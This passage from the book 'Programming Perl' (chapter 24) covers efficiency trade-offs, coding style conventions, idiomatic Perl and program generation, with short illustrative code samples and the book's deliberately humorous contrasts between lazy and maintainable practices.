    print $fullname{$name}, " has a new home directory ",
    $home{$name}, "\n";
    doesn't. On the other hand, depending on the values and the architecture, the concatenation may be faster. Try it.

  • Prefer join("", ...) to a series of concatenated strings. Multiple concatenations may cause strings to be copied back and forth multiple times. The join operator avoids this.

  • split on a fixed string is generally faster than split on a pattern. That is, use split(/ /, ...) rather than split(/ +/, ...) if you know there will only be one space. However, the patterns /\s+/, /^/, and / / are specially optimized, as is the special split on whitespace.

  • Pre-extending an array or string can save some time. As strings and arrays grow, Perl extends them by allocating a new copy with some room for growth and copying in the old value. Pre-extending a string with the x operator or an array by setting $#array can prevent this occasional overhead and reduce memory fragmentation.

  • Don't undef long strings and arrays if they'll be reused for the same purpose. This helps prevent reallocation when the string or array must be re-extended.

  • Prefer "\0" x 8192 over unpack("x8192",()).

  • system("mkdir ...") may be faster on multiple directories if the mkdir syscall isn't available.

  • Avoid using eof if return values will already indicate it.

  • Cache entries from files (like passwd and group files) that are apt to be reused. It's particularly important to cache entries from the network. For example, to cache the return value from gethostbyaddr when you are converting numeric addresses (like 204.148.40.9) to names (like "www.oreilly.com"), you can use something like:

    sub numtoname {
    local ($_) = @_;
    unless (defined $numtoname{$_}) {
        my (@a) = gethostbyaddr(pack('C4', split(/\./)),2);
        $numtoname{$_} = @a > 0 ? $a[0] : $_;
    }
    return $numtoname{$_};
}

  • Avoid unnecessary syscalls. Operating system calls tend to be rather expensive. So for example, don't call the time operator when a cached value of $now would do. Use the special _ filehandle to avoid unnecessary stat(2) calls. On some systems, even a minimal syscall may execute a thousand instructions.

  • Avoid unnecessary system calls. The system function has to fork a subprocess in order to execute the program you specify--or worse, execute a shell to execute the program. This can easily execute a million instructions.

  • Worry about starting subprocesses, but only if they're frequent. Starting a single pwd, hostname, or find process isn't going to hurt you much--after all, a shell starts subprocesses all day long. We do occasionally encourage the toolbox approach, believe it or not.

  • Keep track of your working directory yourself rather than calling pwd repeatedly. (A standard module is provided for this. See Cwd in Chapter 30, "The Standard Perl Library".)

  • Avoid shell metacharacters in commands--pass lists to system and exec where appropriate.

  • Set the sticky bit on the Perl interpreter on machines without demand paging:

    chmod +t /usr/bin/perl

  • Allowing built-in functions' arguments to default to $_ doesn't make your program faster.

24.2.2. Space Efficiency

  • You can use vec for compact integer array storage if the integers are of fixed width. (Integers of variable width can be stored in a UTF-8 string.)

  • Prefer numeric values over equivalent string values--they require less memory.

  • Use substr to store constant-length strings in a longer string.

  • Use the Tie::SubstrHash module for very compact storage of a hash array, if the key and value lengths are fixed.

  • Use __END__ and the DATA filehandle to avoid storing program data as both a string and an array.

  • Prefer each to keys where order doesn't matter.

  • Delete or undef globals that are no longer in use.

  • Use some kind of DBM to store hashes.

  • Use temp files to store arrays.

  • Use pipes to offload processing to other tools.

  • Avoid list operations and entire file slurps.

  • Avoid using tr///. Each tr/// expression must store a sizable translation table.

  • Don't unroll your loops or inline your subroutines.

24.2.3. Programmer Efficiency

  • Use defaults.

  • Use funky shortcut command-line switches like -a, -n, -p, -s, and -i.

  • Use for to mean foreach.

  • Run system commands with backticks.

  • Use <*> and such.

  • Use patterns created at run time.

  • Use *, +, and {} liberally in your patterns.

  • Process whole arrays and slurp entire files.

  • Use getc.

  • Use $`, $&, and $'.

  • Don't check error values on open, since <HANDLE> and print HANDLE will simply behave as no-ops when given an invalid handle.

  • Don't close your files--they'll be closed on the next open.

  • Don't pass subroutine arguments. Use globals.

  • Don't name your subroutine parameters. You can access them directly as $_[EXPR].

  • Use whatever you think of first.

24.2.4. Maintainer Efficiency

  • Don't use defaults.

  • Use foreach to mean foreach.

  • Use meaningful loop labels with next and last.

  • Use meaningful variable names.

  • Use meaningful subroutine names.

  • Put the important thing first on the line using and, or, and statement modifiers (like exit if $done).

  • Close your files as soon as you're done with them.

  • Use packages, modules, and classes to hide your implementation details.

  • Pass arguments as subroutine parameters.

  • Name your subroutine parameters using my.

  • Parenthesize for clarity.

  • Put in lots of (useful) comments.

  • Include embedded pod documentation.

  • use warnings.

  • use strict.

24.2.5. Porter Efficiency

  • Wave a handsome tip under his nose.

  • Avoid functions that aren't implemented everywhere. You can use eval tests to see what's available.

  • Use the Config module or the $^O variable to find out what kind of machine you're running on.

  • Don't expect native float and double to pack and unpack on foreign machines.

  • Use network byte order (the "n" and "N" formats for pack) when sending binary data over the network.

  • Don't send binary data over the network. Send ASCII. Better, send UTF-8. Better yet, send money.

  • Check $] or $^V to see if the current version supports all the features you use.

  • Don't use $] or $^V. Use require or use with a version number.

  • Put in the eval exec hack even if you don't use it, so your program will run on those few systems that have Unix-like shells but don't recognize the #! notation.

  • Put the #!/usr/bin/perl line in even if you don't use it.

  • Test for variants of Unix commands. Some find programs can't handle the -xdev switch, for example.

  • Avoid variant Unix commands if you can do it internally. Unix commands don't work too well on MS-DOS or VMS.

  • Put all your scripts and manpages into a single network filesystem that's mounted on all your machines.

  • Publish your module on CPAN. You'll get lots of feedback if it's not portable.

24.2.6. User Efficiency

  • Instead of making users enter data line by line, pop users into their favorite editor.

  • Better yet, use a GUI like the Perl/Tk extension, where users can control the order of events. (Perl/Tk is available on CPAN.)

  • Put up something for users to read while you continue doing work.

  • Use autoloading so that the program appears to run faster.

  • Give the option of helpful messages at every prompt.

  • Give a helpful usage message if users don't give correct input.

  • Display the default action at every prompt, and maybe a few alternatives.

  • Choose defaults for beginners. Allow experts to change the defaults.

  • Use single character input where it makes sense.

  • Pattern the interaction after other things the user is familiar with.

  • Make error messages clear about what needs fixing. Include all pertinent information such as filename and error code, like this:

    open(FILE, $file) or die "$0: Can't open $file for reading: $!\n";

  • Use fork && exit to detach from the terminal when the rest of the script is just batch processing.

  • Allow arguments to come from either the command line or standard input.

  • Don't put arbitrary limitations into your program.

  • Prefer variable-length fields over fixed-length fields.

  • Use text-oriented network protocols.

  • Tell everyone else to use text-oriented network protocols!

  • Tell everyone else to tell everyone else to use text-oriented network protocols!!!

  • Be vicariously lazy.

  • Be nice.

Previous | Home | Next
24.1. Common Goofs for Novices | Book Index | 24.3. Programming with Style
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Programming with Style (Programming Perl)

 Programming PerlSearch this book

24.3. Programming with Style

You'll certainly have your own preferences in regard to formatting, but there are some general guidelines that will make your programs easier to read, understand, and maintain.

The most important thing is to run your programs under the use warnings pragma. (You can turn off unwanted warnings with no warnings.) You should also always run under use strict or have a good reason not to. The use sigtrap and even the use diagnostics pragmas may also prove of benefit.

Regarding aesthetics of code layout, about the only thing Larry cares strongly about is that the closing brace of a multiline BLOCK should be "outdented" to line up with the keyword that started the construct. Beyond that, he has other preferences that aren't so strong. Examples in this book (should) all follow these coding conventions:

  • Use four-column indents.

  • An opening brace should be put on the same line as its preceding keyword, if possible; otherwise, line them up vertically.

    while ($condition) {        # for short ones, align with keywords
    # do something
}

# if the condition wraps, line up the braces with each other
while ($this_condition and $that_condition
       and $this_other_long_condition)
{
    # do something
}

  • Put space before the opening brace of a multiline BLOCK.

  • A short BLOCK may be put on one line, including braces.

  • Omit the semicolon in a short, one-line BLOCK.

  • Surround most operators with space.

  • Surround a "complex" subscript (inside brackets) with space.

  • Put blank lines between chunks of code that do different things.

  • Put a newline between a closing brace and else.

  • Do not put space between a function name and its opening parenthesis.

  • Do not put space before a semicolon.

  • Put space after each comma.

  • Break long lines after an operator (but before and and or, even when spelled && and ||).

  • Line up corresponding items vertically.

  • Omit redundant punctuation as long as clarity doesn't suffer.

Larry has his reasons for each of these things, but he doesn't claim that everyone else's mind works the same as his does (or doesn't).

Here are some other, more substantive style issues to think about:

  • Just because you can do something a particular way doesn't mean you should do it that way. Perl is designed to give you several ways to do anything, so consider picking the most readable one. For instance:

    open(FOO,$foo)  or die "Can't open $foo: $!";
    is better than:
    die "Can't open $foo: $!"   unless open(FOO,$foo);
    because the second way hides the main point of the statement in a modifier. On the other hand:
    print "Starting analysis\n" if $verbose;
    is better than:
    $verbose and print "Starting analysis\n";
    since the main point isn't whether the user typed -v or not.

  • Similarly, just because an operator lets you assume default arguments doesn't mean that you have to make use of the defaults. The defaults are there for lazy programmers writing one-shot programs. If you want your program to be readable, consider supplying the argument.

  • Along the same lines, just because you can omit parentheses in many places doesn't mean that you ought to:

    return print reverse sort num values %array;
return print(reverse(sort num (values(%array))));
    When in doubt, parenthesize. At the very least it will let some poor schmuck bounce on the % key in vi.

    Even if you aren't in doubt, consider the mental welfare of the person who has to maintain the code after you, and who will probably put parentheses in the wrong place.

  • Don't go through silly contortions to exit a loop at the top or the bottom. Perl provides the last operator so you can exit in the middle. You can optionally "outdent" it to make it more visible:

    LINE:
    for (;;) {
        statements;
      last LINE if $foo;
        next LINE if /^#/;
        statements;
    }

  • Don't be afraid to use loop labels--they're there to enhance readability as well as to allow multilevel loop breaks. See the example just given.

  • Avoid using grep, map, or backticks in a void context, that is, when you just throw away their return values. Those functions all have return values, so use them. Otherwise, use a foreach loop or the system function.

  • For portability, when using features that may not be implemented on every machine, test the construct in an eval to see whether it fails. If you know the version or patch level of a particular feature, you can test $] ($PERL_VERSION in the English module) to see whether the feature is there. The Config module will also let you interrogate values determined by the Configure program when Perl was installed.

  • Choose mnemonic identifiers. If you can't remember what mnemonic means, you've got a problem.

  • Although short identifiers like $gotit are probably okay, use underscores to separate words. It is generally much easier to read $var_names_like_this than $VarNamesLikeThis, especially for non-native speakers of English. Besides, the same rule works for $VAR_NAMES_LIKE_THIS.

    Package names are sometimes an exception to this rule. Perl informally reserves lowercase module names for pragmatic modules like integer and strict. Other modules should begin with a capital letter and use mixed case, but should probably omit underscores due to name-length limitations on certain primitive filesystems.

  • You may find it helpful to use letter case to indicate the scope or nature of a variable. For example:

    $ALL_CAPS_HERE   # constants only (beware clashes with Perl vars!)
$Some_Caps_Here  # package-wide global/static
$no_caps_here    # function scope my() or local() variables

    For various vague reasons, function and method names seem to work best as all lowercase. For example, $obj->as_string().

    You can use a leading underscore to indicate that a variable or function should not be used outside the package that defined it. (Perl does not enforce this; it's just a form of documentation.)

  • If you have a really hairy regular expression, use the /x modifier and put in some whitespace to make it look a little less like line noise.

  • Don't use slash as a delimiter when your regular expression already has too many slashes or backslashes.

  • Don't use quotes as delimiters when your string contains the same kind of quote. Use the q//, qq//, or qx// pseudofunctions instead.

  • Use the and and or operators to avoid having to parenthesize list operators so much and to reduce the incidence of punctuational operators like && and ||. Call your subroutines as if they were functions or list operators to avoid excessive ampersands and parentheses.

  • Use here documents instead of repeated print statements.

  • Line up corresponding things vertically, especially if they're too long to fit on one line anyway:

    $IDX = $ST_MTIME;
$IDX = $ST_ATIME       if $opt_u;
$IDX = $ST_CTIME       if $opt_c;
$IDX = $ST_SIZE        if $opt_s;

mkdir $tmpdir, 0700 or die "can't mkdir $tmpdir: $!";
chdir($tmpdir)      or die "can't chdir $tmpdir: $!";
mkdir 'tmp',   0777 or die "can't mkdir $tmpdir/tmp: $!";

  • That which we tell you three times is true:

    Always check the return codes of system calls.
Always check the return codes of system calls.
ALWAYS CHECK THE RETURN CODES OF SYSTEM CALLS!

    Error messages should go to STDERR and should say which program caused the problem and what the failed call and its arguments were. Most importantly, for failed syscalls, messages should contain the standard system error message for what went wrong. Here's a simple but sufficient example:

    opendir(D, $dir)  or die "Can't opendir $dir: $!";

  • Line up your transliterations when it makes sense:

    tr [abc]
   [xyz];

  • Think about reusability. Why waste brainpower on a one-shot script when you might want to do something like it again? Consider generalizing your code. Consider writing a module or object class. Consider making your code run cleanly with use strict and -w in effect. Consider giving away your code. Consider changing your whole world view. Consider ... oh, never mind.

  • Be consistent.

  • Be nice.

Previous | Home | Next
24.2. Efficiency | Book Index | 24.4. Fluent Perl
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Fluent Perl (Programming Perl)

 Programming PerlSearch this book

24.4. Fluent Perl

We've touched on a few idioms in the preceding sections (not to mention the preceding chapters), but there are many other idioms you'll commonly see if you read programs by accomplished Perl programmers. When we speak of idiomatic Perl in this context, we don't just mean a set of arbitrary Perl expressions with fossilized meanings. Rather, we mean Perl code that shows an understanding of the flow of the language, what you can get away with when, and what that buys you. And when to buy it.

We can't hope to list all the idioms you might see--that would take a book as big as this one. Maybe two. (See the Perl Cookbook, for instance.) But here are some of the important idioms, where "important" might be defined as "that which induces hissy fits in people who think they already know just how computer languages ought to work".

  • Use => in place of a comma anywhere you think it improves readability:

    return bless $mess => $class;
    This reads, "Bless this mess into the specified class." Just be careful not to use it after a word that you don't want autoquoted:
    sub foo () { "FOO" }
sub bar () { "BAR" }
print foo => bar;   # prints fooBAR, not FOOBAR;
    Another good place to use => is near a literal comma that might get confused visually:
    join(", " => @array);
    Perl provides you with more than one way to do things so that you can exercise your ability to be creative. Exercise it!

  • Use the singular pronoun to increase readability:

    for (@lines) {
    $_ .= "\n";
}
    The $_ variable is Perl's version of a pronoun, and it essentially means "it". So the code above means "for each line, append a newline to it." Nowadays you might even spell that:
    $_ .= "\n" for @lines;
    The $_ pronoun is so important to Perl that its use is mandatory in grep and map. Here is one way to set up a cache of common results of an expensive function:
    %cache = map { $_ => expensive($_) } @common_args;
$xval = $cache{$x} || expensive($x);

  • Omit the pronoun to increase readability even further.[1]

    [1]In this section, multiple bullet items in a row all refer to the subsequent example, since some of our examples illustrate more than one idiom.

  • Use loop controls with statement modifiers.

    while (<>) {
    next if /^=for\s+(index|later)/;
    $chars += length;
    $words += split;
    $lines += y/\n//;
}
    This is a fragment of code we used to do page counts for this book. When you're going to be doing a lot of work with the same variable, it's often more readable to leave out the pronouns entirely, contrary to common belief.

    The fragment also demonstrates the idiomatic use of next with a statement modifier to short-circuit a loop.

    The $_ variable is always the loop control variable in grep and map, but the program's reference to it is often implicit:

    @haslen = grep { length } @random;
    Here we take a list of random scalars and only pick the ones that have a length greater than 0.

  • Use for to set the antecedent for a pronoun:

    for ($episode) {
    s/fred/barney/g;
    s/wilma/betty/g;
    s/pebbles/bambam/g;
}
    So what if there's only one element in the loop? It's a convenient way to set up "it", that is, $_. Linguistically, this is known as topicalization. It's not cheating, it's communicating.

  • Implicitly reference the plural pronoun, @_.

  • Use control flow operators to set defaults:

    sub bark {
    my Dog $spot = shift;
    my $quality  = shift || "yapping";
    my $quantity = shift || "nonstop";
    ...
}
    Here we're implicitly using the other Perl pronoun, @_, which means "them". The arguments to a function always come in as "them". The shift operator knows to operate on @_ if you omit it, just as the ride operator at Disneyland might call out "Next!" without specifying which queue is supposed to shift. (There's no point in specifying, because there's only one queue that matters.)

    The || can be used to set defaults despite its origins as a Boolean operator, since Perl returns the first true value. Perl programmers often manifest a cavalier attitude toward the truth; the line above would break if, for instance, you tried to specify a quantity of 0. But as long as you never want to set either $quality or $quantity to a false value, the idiom works great. There's no point in getting all superstitious and throwing in calls to defined and exists all over the place. You just have to understand what it's doing. As long as it won't accidentally be false, you're fine.

  • Use assignment forms of operators, including control flow operators:

    $xval = $cache{$x} ||= expensive($x);
    Here we don't initialize our cache at all. We just rely on the ||= operator to call expensive($x) and assign it to $cache{$x} only if $cache{$x} is false. The result of that is whatever the new value of $cache{$x} is. Again, we take the cavalier approach towards truth, in that if we cache a false value, expensive($x) will get called again. Maybe the programmer knows that's okay, because expensive($x) isn't expensive when it returns false. Or maybe the programmer knows that expensive($x) never returns a false value at all. Or maybe the programmer is just being sloppy. Sloppiness can be construed as a form of creativity.

  • Use loop controls as operators, not just as statements. And...

  • Use commas like small semicolons:

    while (<>) {
    $comments++, next if /^#/;
    $blank++, next    if /^\s*$/;
    last              if /^__END__/;
    $code++;
}
print "comment = $comments\nblank = $blank\ncode = $code\n";
    This shows an understanding that statement modifiers modify statements, while next is a mere operator. It also shows the comma being idiomatically used to separate expressions much like you'd ordinarily use a semicolon. (The difference being that the comma keeps the two expressions as part of the same statement, under the control of the single statement modifier.)

  • Use flow control to your advantage:

    while (<>) {
    /^#/       and $comments++, next;
    /^\s*$/    and $blank++, next;
    /^__END__/ and last;
    $code++;
}
print "comment = $comments\nblank = $blank\ncode = $code\n";
    Here's the exact same loop again, only this time with the patterns out in front. The perspicacious Perl programmer understands that it compiles down to exactly the same internal codes as the previous example. The if modifier is just a backward and (or &&) conjunction, and the unless modifier is just a backward or (or ||) conjunction.

  • Use the implicit loops provided by the -n and -p switches.

  • Don't put semicolon at the end of a one-line block:

    #!/usr/bin/perl -n
$comments++, next LINE if /#/;
$blank++, next LINE    if /^\s*$/;
last LINE              if /^__END__/;
$code++;

END { print "comment = $comments\nblank = $blank\ncode = $code\n" }
    This is essentially the same program as before. We put an explicit LINE label on the loop control operators because we felt like it, but we didn't really need to, since the implicit LINE loop supplied by -n is the innermost enclosing loop. We used an END to get the final print statement outside the implicit main loop, just as in awk.

  • Use here docs when the printing gets ferocious.

  • Use a meaningful delimiter on the here doc:

    END { print <<"COUNTS" }
comment = $comments
blank = $blank
code = $code
COUNTS
    Rather than using multiple prints, the fluent Perl programmer uses a multiline string with interpolation. And despite our calling it a Common Goof earlier, we've brazenly left off the trailing semicolon because it's not necessary at the end of the END block. (If we ever turn it into a multiline block, we'll put the semicolon back in.)

  • Do substitutions and translations en passant on a scalar:

    ($new = $old) =~ s/bad/good/g;
    Since lvalues are lvaluable, so to speak, you'll often see people changing a value "in passing" while it's being assigned. This could actually save a string copy internally (if we ever get around to implementing the optimization):
    chomp($answer = <STDIN>);
    Any function that modifies an argument in place can do the en passant trick. But wait, there's more!

  • Don't limit yourself to changing scalars en passant:

    for (@new = @old) { s/bad/good/g }
    Here we copy @old into @new, changing everything in passing (not all at once, of course--the block is executed repeatedly, one "it" at a time).

  • Pass named parameters using the fancy => comma operator.

  • Rely on assignment to a hash to do even/odd argument processing:

    sub bark {
    my DOG $spot = shift;
    my %parm = @_;
    my $quality  = $parm{QUALITY}  || "yapping";
    my $quantity = $parm{QUANTITY} || "nonstop";
    ...
}

$fido->bark( QUANTITY => "once",
              QUALITY => "woof" );
    Named parameters are often an affordable luxury. And with Perl, you get them for free, if you don't count the cost of the hash assignment.

  • Repeat Boolean expressions until false.

  • Use minimal matching when appropriate.

  • Use the /e modifier to evaluate a replacement expression:

    #!/usr/bin/perl -p
1 while s/^(.*?)(\t+)/$1 . ' ' x (length($2) * 4 - length($1) % 4)/e;
    This program fixes any file you receive from someone who mistakenly thinks they can redefine hardware tabs to occupy 4 spaces instead of 8. It makes use of several important idioms. First, the 1 while idiom is handy when all the work you want to do in the loop is actually done by the conditional. (Perl is smart enough not to warn you that you're using 1 in a void context.) We have to repeat this substitution because each time we substitute some number of spaces in for tabs, we have to recalculate the column position of the next tab from the beginning.

    The (.*?) matches the smallest string it can up until the first tab, using the minimal matching modifier (the question mark). In this case, we could have used an ordinary greedy * like this: ([^\t]*). But that only works because a tab is a single character, so we can use a negated character class to avoid running past the first tab. In general, the minimal matcher is much more elegant, and doesn't break if the next thing that must match happens to be longer than one character.

    The /e modifier does a substitution using an expression rather than a mere string. This lets us do the calculations we need right when we need them.

  • Use creative formatting and comments on complex substitutions:

    #!/usr/bin/perl -p
1 while s{
    ^               # anchor to beginning
    (               # start first subgroup
        .*?         # match minimal number of characters
    )               # end first subgroup
    (               # start second subgroup
        \t+         # match one or more tabs
    )               # end second subgroup
}
{
    my $spacelen = length($2) * 4;  # account for full tabs
    $spacelen -= length($1) % 4;    # account for the uneven tab
    $1 . ' ' x $spacelen;           # make correct number of spaces
}ex;
    This is probably overkill, but some people find it more impressive than the previous one-liner. Go figure.

  • Go ahead and use $` if you feel like it:

    1 while s/(\t+)/' ' x (length($1) * 4 - length($`) % 4)/e;
    Here's the shorter version, which uses $`, which is known to impact performance. Except that we're only using the length of it, so it doesn't really count as bad.

  • Use the offsets directly from the @- (@LAST_MATCH_START) and @+ (@LAST_MATCH_END) arrays:

    1 while s/\t+/' ' x (($+[0] - $-[0]) * 4 - $-[0] % 4)/e;
    This one's even shorter. (If you don't see any arrays there, try looking for array elements instead.) See @- and @+ in Chapter 28, "Special Names".

  • Use eval with a constant return value:

    sub is_valid_pattern {
    my $pat = shift;
    return eval { "" =~ /$pat/; 1 } || 0;
}
    You don't have to use the eval {} operator to return a real value. Here we always return 1 if it gets to the end. However, if the pattern contained in $pat blows up, the eval catches it and returns undef to the Boolean conditional of the || operator, which turns it into a defined 0 (just to be polite, since undef is also false but might lead someone to believe that the is_valid_pattern subroutine is misbehaving, and we wouldn't want that, now would we?).

  • Use modules to do all the dirty work.

  • Use object factories.

  • Use callbacks.

  • Use stacks to keep track of context.

  • Use negative subscripts to access the end of an array or string:

    use XML::Parser;

$p = new XML::Parser Style => 'subs';
setHandlers $p Char => sub { $out[-1] .= $_[1] };

push @out, "";

sub literal {
    $out[-1] .= "C<";
    push @out, "";
}

sub literal_ {
    my $text = pop @out;
    $out[-1] .= $text . ">";
}
...
    This is a snippet from the 250-line program we used to translate the XML version of the old Camel book back into pod format so we could edit it for this edition with a Real Text Editor.

    The first thing you'll notice is that we rely on the XML::Parser module (from CPAN) to parse our XML correctly, so we don't have to figure out how. That cuts a few thousand lines out of our program right there (presuming we're reimplementing in Perl everything XML::Parser does for us,[2] including translation from almost any character set into UTF-8).

    [2]Actually, XML::Parser is just a fancy wrapper around James Clark's expat XML parser.

    XML::Parser uses a high-level idiom called an object factory. In this case, it's a parser factory. When we create an XML::Parser object, we tell it which style of parser interface we want, and it creates one for us. This is an excellent way to build a testbed application when you're not sure which kind of interface will turn out to be the best in the long run. The subs style is just one of XML::Parser's interfaces. In fact, it's one of the oldest interfaces, and probably not even the most popular one these days.

    The setHandlers line shows a method call on the parser, not in arrow notation, but in "indirect object" notation, which lets you omit the parens on the arguments, among other things. The line also uses the named parameter idiom we saw earlier.

    The line also shows another powerful concept, the notion of a callback. Instead of us calling the parser to get the next item, we tell it to call us. For named XML tags like <literal>, this interface style will automatically call a subroutine of that name (or the name with an underline on the end for the corresponding end tag). But the data between tags doesn't have a name, so we set up a Char callback with the setHandlers method.

    Next we initialize the @out array, which is a stack of outputs. We put a null string into it to represent that we haven't collected any text at the current tag embedding level (0 initially).

    Now is when that callback comes back in. Whenever we see text, it automatically gets appended to the final element of the array, via the $out[-1] idiom in the callback. At the outer tag level, $out[-1] is the same as $out[0], so $out[0] ends up with our whole output. (Eventually. But first we have to deal with tags.)

    Suppose we see a <literal> tag. Then the literal subroutine gets called, appends some text to the current output, then pushes a new context onto the @out stack. Now any text up until the closing tag gets appended to that new end of the stack. When we hit the closing tag, we pop the $text we've collected back off the @out stack, and append the rest of the transmogrified data to the new (that is, the old) end of stack, the result of which is to translate the XML string, <literal>text</literal>, into the corresponding pod string, C<text>.

    The subroutines for the other tags are just the same, only different.

  • Use my without assignment to create an empty array or hash.

  • Split the default string on whitespace.

  • Assign to lists of variables to collect however many you want.

  • Use autovivification of undefined references to create them.

  • Autoincrement undefined array and hash elements to create them.

  • Use autoincrement of a %seen array to determine uniqueness.

  • Assign to a handy my temporary in the conditional.

  • Use the autoquoting behavior of braces.

  • Use an alternate quoting mechanism to interpolate double quotes.

  • Use the ?: operator to switch between two arguments to a printf.

  • Line up printf args with their % field:

    my %seen;
while (<>) {
    my ($a, $b, $c, $d) = split;
    print unless $seen{$a}{$b}{$c}{$d}++;
}
if (my $tmp = $seen{fee}{fie}{foe}{foo}) {
    printf qq(Saw "fee fie foe foo" [sic] %d time%s.\n"),
                                          $tmp,  $tmp == 1 ? "" : "s";
}
    These nine lines are just chock full of idioms. The first line makes an empty hash because we don't assign anything to it. We iterate over input lines setting "it", that is, $_, implicitly, then using an argumentless split which splits "it" on whitespace. Then we pick off the four first words with a list assignment, throwing any subsequent words away. Then we remember the first four words in a four-dimensional hash, which automatically creates (if necessary) the first three reference elements and final count element for the autoincrement to increment. (Under use warnings, the autoincrement will never warn that you're using undefined values, because autoincrement is an accepted way to define undefined values.) We then print out the line if we've never seen a line starting with these four words before, because the autoincrement is a postincrement, which, in addition to incrementing the hash value, will return the old true value if there was one.

    After the loop, we test %seen again to see if a particular combination of four words was seen. We make use of the fact that we can put a literal identifier into braces and it will be autoquoted. Otherwise, we'd have to say $seen{"fee"}{"fie"}{"foe"}{"foo"}, which is a drag even when you're not running from a giant.

    We assign the result of $seen{fee}{fie}{foe}{foo} to a temporary variable even before testing it in the Boolean context provided by the if. Because assignment returns its left value, we can still test the value to see if it was true. The my tells your eye that it's a new variable, and we're not testing for equality but doing an assignment. It would also work fine without the my, and an expert Perl programmer would still immediately notice that we used one = instead of two ==. (A semiskilled Perl programmer might be fooled, however. Pascal programmers of any skill level will foam at the mouth.)

    Moving on to the printf statement, you can see the qq() form of double quotes we used so that we could interpolate ordinary double quotes as well as a newline. We could've directly interpolated $tmp there as well, since it's effectively a double-quoted string, but we chose to do further interpolation via printf. Our temporary $tmp variable is now quite handy, particularly since we don't just want to interpolate it, but also test it in the conditional of a ?: operator to see whether we should pluralize the word "time". Finally, note that we lined up the two fields with their corresponding % markers in the printf format. If an argument is too long to fit, you can always go to the next line for the next argument, though we didn't have to in this case.

Whew! Had enough? There are many more idioms we could discuss, but this book is already sufficiently heavy. But we'd like to talk about one more idiomatic use of Perl, the writing of program generators.

Previous | Home | Next
24.3. Programming with Style | Book Index | 24.5. Program Generation
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Program Generation (Programming Perl)

 Book Home Programming PerlSearch this book

24.5. Program Generation

Almost from the time people first figured out that they could write programs, they started writing programs that write other programs. We often call these program generators. (If you're a history buff, you might know that RPG stood for Report Program Generator long before it stood for Role Playing Game.) Nowadays they'd probably be called "program factories", but the generator people got there first, so they got to name it.

Now, anyone who has written a program generator knows that it can make your eyes go crossed even when you're wide awake. The problem is simply that much of your program's data looks like real code, but isn't (at least not yet). The same text file contains both stuff that does something and similar looking stuff that doesn't. Perl has various features that make it easy to mix Perl together with other languages, textually speaking.

(Of course, these features also make it easier to write Perl in Perl, but that's rather to be expected by now, we should think.)

24.5.1. Generating Other Languages in Perl

Perl is (among other things) a text-processing language, and most computer languages are textual. Beyond that, Perl's lack of arbitrary limits together with the various quoting and interpolation mechanisms make it easy to visually isolate the code of the other language you're spitting out. For example, here is a small chunk of s2p, the sed-to-perl translator:

print &q(<<"EOT");
:       #!$bin/perl
:       eval 'exec $bin/perl -S \$0 \${1+"\$@"}'
:               if \$running_under_some_shell;
:
EOT
Here the enclosed text happens to be legal in two languages, both Perl and sh. We've used an idiom right off the bat that will preserve your sanity in the writing of a program generator: the trick of putting a "noise" character and a tab on the front of every quoted line, which visually isolates the enclosed code, so you can tell at a glance that it's not the code that is actually being executed. One variable, $bin, is interpolated in the multiline quote in two places, and then the string is passed through a function to strip the colon and tab.

Of course, you aren't required to use multiline quotes. One often sees CGI scripts containing millions of print statements, one per line. It seems a bit like driving to church in an F-16, but hey, if it gets you there... (We will admit that a column of print statements has its own form of visual distinctiveness.)

When you are embedding a large, multiline quote containing some other language (such as HTML), it's often helpful to pretend you're programming inside-out, enclosing Perl into the other language instead, much as you might do with overtly everted languages such as PHP:

print <<"XML";
    <stuff>
    <nonsense>
    blah blah blah @{[ scalar EXPR ]} blah blah blah
    blah blah blah @{[ LIST ]} blah blah blah
    </nonsense>
    </stuff>
XML
You can use either of those two tricks to interpolate the values of arbitrarily complicated expressions into the long string.

Some program generators don't look much like program generators, depending on how much of their work they hide from you. In Chapter 22, "CPAN", we saw how a small Makefile.PL program could be used to write a Makefile. The Makefile can easily be 100 times bigger than the Makefile.PL that produced it. Think how much wear and tear that saves your fingers. Or don't think about it--that's the point, after all.

24.5.2. Generating Perl in Other Languages

It's easy to generate other languages in Perl, but the converse is also true. Perl can easily be generated in other languages because it's both concise and malleable. You can pick your quotes not to interfere with the other language's quoting mechanisms. You don't have to worry about indentation, or where you put your line breaks, or whether to backslash your backslashes Yet Again. You aren't forced to define a package as a single string in advance, since you can slide into your package's namespace repeatedly, whenever you want to evaluate more code in that package.

Another thing that makes it easy to write Perl in other languages (including Perl) is the #line directive. Perl knows how to process these as special directives that reconfigure its idea of the current filename and line number. This can be useful in error or warning messages, especially for strings processed with eval (which, when you think about it, is just Perl writing Perl). The syntax for this mechanism is the one used by the C preprocessor: when Perl encounters a # symbol and the word line, followed by a number and a filename, it sets __LINE__ to the number and __FILE__ to the filename.[3]

[3]Technically, it matches the pattern /^#\s*line\s+(\d+)\s*(?:\s"([^"]+)")?\s*$/, with $1 providing the line number for the next line, and $2 providing the optional filename specified within quotes. (A null filename leaves __FILE__ unchanged.)

Here are some examples that you can test by typing into perl directly. We've used a Control-D to indicate end-of-file, which is typical on Unix. DOS/Windows and VMS users can type Control-Z. If your shell uses something else, you'll have to use that to tell perl you're done. Alternatively, you can always type in __END__ to tell the compiler there's nothing left to parse.

Here, Perl's built-in warn function prints out the new filename and line number:

% perl
# line 2000 "Odyssey"
# the "#" on the previous line must be the first char on line
warn "pod bay doors";  # or die
^D
pod bay doors at Odyssey line 2001.
And here, the exception raised by die within the eval found its way into the $@ ($EVAL_ERROR) variable, along with the temporary new filename and line:
# line 1996 "Odyssey"
eval qq{
#line 2025 "Hal"
    die "pod bay doors";
};
print "Problem with $@";
warn "I'm afraid I can't do that";
^D
Problem with pod bay doors at Hal line 2025.
I'm afraid I can't do that at Odyssey line 2001.
This shows how a #line directive affects only the current compilation unit (file or eval STRING), and that when that unit is done being compiled, the previous settings are automatically restored. This way you can set up your own messages inside an eval STRING or do FILE without affecting the rest of your program.

Perl has a -P switch that invokes the C preprocessor, which emits #line directives. The C preprocessor was the original impetus for implementing #line, but it is seldom used these days, since there are usually better ways to do what we used to rely on it for. Perl has a number of other preprocessors, however, including the AutoSplit module. The JPL (Java Perl Lingo) preprocessor turns .jpl files into .java, .pl, .h, and .c files. It makes use of #line to keep the error messages accurate.

